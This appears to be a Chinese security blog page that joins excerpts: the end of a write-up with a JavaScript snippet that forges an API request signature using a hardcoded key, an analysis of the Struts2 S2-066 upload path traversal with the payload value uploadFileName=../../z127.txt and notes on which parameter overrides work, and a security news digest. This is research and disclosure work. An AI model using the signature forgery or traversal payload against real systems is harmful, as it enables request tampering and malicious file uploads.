85a840e3674201f2606b8b65f914b912 所以我们把代码稍微修改一下 "use strict"; var a = require("./md5.js"); var i = {"phone_num":"1xxxxxxxxxx2","version":"3.3.9","scene":1053,"appid":648481988} i.sign = a.create_sign(i, "d19e4abd1036063faa4218c139378c0e"); console.log(i); 成功破解了 sign 签名,可以发送任意数据包。
S2-066漏洞分析与复现(CVE-2023-50164)
Foreword 自struts2官方纰漏S2-066漏洞已经有一段时间,期间断断续续地写,直到最近才完成。羞愧地回顾一下官方通告: 2023.12.9发布,编号CVE-2023-50164,主要影响版本是 2.5.0-2.5.32 以及 6.0.0-6.3.0,描述中提到了文件上传漏洞和目录穿越漏洞。开始以为这是个组合漏洞,其实不是,这是一个漏洞,看了几篇大佬的文章,有的把它称为“文件上传目录穿越漏洞”,也有道理。 Prepare 准备工作就是搭建项目,用Tomcat跑,调试好断点,回顾下struts2的结构。篇幅有限,这里只贴一张struts2自身的配置文件: struts2有众多的Filter和Intercepter,它的配置逻辑是,除文件中定义的class、package以外,其余全部拦截。对于S2-066,处理一个请求要经过的几个关键类包括Dispatcher、Interceptor、HttpParameters以及UploadAction。使用下面的poc: Dispatcher 请求首先会进入著名的Dispatcher。multi参数对应的就是body数据,包含upload、fileName、contentType三个变量,无误: request中还有一个参数,uploadFileName=../../z127.txt,这个是污染参数,文件上传的目的地,也是利用这个漏洞的目标。 走到这里Dispatcher只是简单处理一下请求然后交给Interceptor,无异常。 FileUploadInterceptor 拦截器先是把request包装了一下,类型是MultiPartRequestWrapper。 这里与Dispatcher一样,请求参数还是multi和request两部分,也无异常。 并且遍历只有一次 ,因为真正的body只有一个,就是那个multi。 在遍历过程中struts2还出现了硬编码现象,要求文件名参数必须以FileName结尾,且拼接完成的文件名前缀就是body中的{upload}名称,这就给exp带来了一定限制: 此外,注意这里的279行: // get the name of the file from the input tag String[] fileName = multiWrapper.getFileNames(inputName); 使用的是MultiPartRequest接口的方法,而这个接口在S2-066中是由JakartaMultiPartRequest实现。使用下面这个poc进行目录穿越并断点检测一下: 发现目录穿越失败,文件没有放在指定目录下。分析源码: 参数覆盖原本想用../../z126.txt,方法的输入参数确实也是这样接收的,但在这个方法中struts2会对文件名进行截断,最终输出的文件名会变为 z126.txt,文件也就不会出现目录穿越的现象。因此目录穿越不是发生在这里,让struts2自己背这个锅多少有点冤。body中的数据组装完毕是下面这样,size等于3,依旧无误: HttpParameters 来到HttpParameters查看接收的参数,还是upload、contentType、fileName三个: 但是参数接收完后就不正常了,除了原本的UploadFileName(注意首字母是大写),还多了一个uploadFileName(注意首字母是小写),size也变成了4。这就是Struts2官方所解释的大小写敏感,即对大写的Upload和小写的upload分别做处理。从这里开始,S2-066才露出真正面目: HttpParameters实现了Map接口,所以本质上它还是一个map,这也是组装参数最常用的方式。但不管是HashMap还是TreeMap,自己不会出现覆盖的问题。用一个小实验证明: 走到这里,HttpParameters对参数的处理开始出现异常,但依然没有发生覆盖。 UploadAction 终于到Action了。引用一段struts2官方的描述: An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. 通过操控上传参数,黑客能够出发目录穿越漏洞,这样一来,在某些情况下可以上传恶意文件,从而进行RCE。换种说法,S2-066是框架自身、软件工程师、Java反射机制共同作用的结果。走到这里,为了简化代码,UploadAction即是Action又是Entity。而在Entity的实例化过程中,必然是通过setXX属性来赋值。所以就有了setUploadFileName(注意首字母大写)和setuploadFileName(注意首字母小写)的需求 。而在Entity的setter与getter中,这两种需求都会被当做一种,即setUploadFileName,因此覆盖也就发生了。正常情况下实例化方 而setUploadFileName第一遍是z106.txt: 第二遍是../../z127.txt: 实例化完成后,uploadFileName属性已被覆盖: 查看物理路径,上传成功: POCs 参数不是filename结尾,失败: 参数不符合FileName大小写要求,失败: 大写覆盖小写失败: 大写覆盖大写失败: 小写覆盖小写失败: 小写覆盖大写成功,文章开头所用。另外覆盖也可以放在body中: 验证: 利用条件多少有点苛刻,但杀伤力不输struts2过去那一堆,CVSS3.0评分9.8,CRITICAL。
网络安全日报 2024年03月20日
1、新型AcidPour恶意软件瞄准乌克兰Linux系统 https://www.hackread.com/acidrain-linux-malware-variant-acidpour-ukraine/ 研究人员近日发现了一种针对乌克兰Linux系统的恶意软件新变种,命名为“AcidPour”。这种恶意软件是已知AcidRain恶意软件的进化版本,去年三月首次出现并在俄罗斯入侵乌克兰之初于Viasat hack事件中破坏了大量KA-SAT Surfbeam2调制解调器。AcidPour与原始的AcidRain在某些代码字符串上有相似之处,但在代码库上有显著不同,这个新的变种是专门为Linux x86设备编译的,而不是MIPS体系结构。研究人员指出 2、WordPress插件miniOrange漏洞会导致网站被接管 https://www.wordfence.com/blog/2024/03/critical-vulnerability-remains-unpatched-in-two-permanently-closed-miniorange-wordpress-plugins-1250-bounty-awarded/ 研究人员近日发现WordPress插件miniOrange的恶意软件扫描器和Web应用防火墙中存在一个关键漏洞,该漏洞可能允许未经授权的攻击者接管网站。自2024年3月1日,Wordfence作为公司Bug赏金倡议Extravaganza的一部分,接到了关于miniOrange恶意软件 3、关键FileCatalyst远程执行漏洞PoC利用代码发布 https://www.fortra.com/security/advisory/fi-2024-002 Fortra修复了其FileCatalyst文件传输产品中一个关键的远程代码执行漏洞。Fortra发布了更新来解决这个影响其FileCatalyst文件传输解决方案的关键漏洞,该漏洞被追踪为CVE-2024-25153(CVSS评分9.8)。远程未经授权的攻击者可以利用这个漏洞在受影响的服务器上执行任意代码。安全建议说明:"FileCatalyst Workflow Web Portal的'ftpservlet'中的目录遍历允许通过特殊构造的POST请求将文件上传到意图之外的'uploa 4、TMChecker工具可降低攻击者恶意活动门槛 https://www.resecurity.com/blog/article/cybercriminals-evolve-tooling-for-remote-access-compromise 研究人员警告称,新的名为TMChecker的工具集在暗网上作为攻击武器获得关注,旨在针对远程访问服务和流行的电子商务平台。该工具由化名为"M762"的威胁行为者开发,并在XSS网络犯罪论坛上售价每月200美元,根据研究人员的报告,它可用于针对企业VPN网关、电子邮件服务器、内容管理系统和主机控制面板。TMChecker帮助威胁行为者侵入企业网络,获取未经授权的访问敏感数据的机会。微软去年观察到,自 5、新型GPU缓存侧信道攻击影响多种流行的浏览器和显卡 https://www.securityweek.com/new-attack-shows-risks-of-browsers-giving-websites-access-to-gpu/ 来自奥地利格拉茨科技大学和法国雷恩大学的研究人员团队展示了一种新的图形处理单元 (GPU) 攻击,该攻击会影响多种流行的浏览器和显卡。 6、配置错误的 Firebase 实例暴露了1.25 亿条用户记录 https://www.securityweek.com/misconfigured-firebase-instances-expose-125-million-user-records/ 安全研究人员警告称,数百个网站错误配置了 Google Firebase,泄露了超过 1.25 亿条用户记录,其中包括明文密码。 7、从Deepfakes到恶意软件,AI在网络攻击中的作用不断扩大 https://thehackernews.com/2024/03/from-deepfakes-to-malware-ais-expanding.html 如今,支持人工智能 (AI) 工具的大型语言模型 (LLM) 可用于开发能够绕过 YARA 规则的自我增强恶意软件。 8、乌克兰网络警察逮捕了出售 1 亿个被盗账户的黑客 https://securityaffairs.com/160748/cyber-crime/ukraine-cyber-police-account-hacking.html 乌克兰网络警察与国家警察一起逮捕了三名试图出售 1 亿封受损电子邮件和 Instagram 帐户的黑客。他们涉嫌黑客入侵全球 1 亿多个电子邮件和 Instagram 帐户并将其出售。 9、谷歌2023年发放7100万元漏洞赏金,近年累计支出超4亿元 https://www.secrss.com/articles/64456 在2023年内,谷歌向来自68个国家的632名研究人员支付了1000万美元(约合人民币7196万元),以表彰他们在发现并负责地报告旗下产品和服务的安全漏洞。 10、麦当劳 IT 系统中断,波及全球餐厅 https://www.bleepingcomputer.com/news/technology/mcdonalds-it-systems-outage-impacts-restaurants-worldwide/ 由于系统中断,导致麦当劳员工无法接受订单和接受付款,包括美国、日本、澳大利亚、加拿大、荷兰、意大利、新西兰和英国等多国的麦当劳门店于当日停止营业。 声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页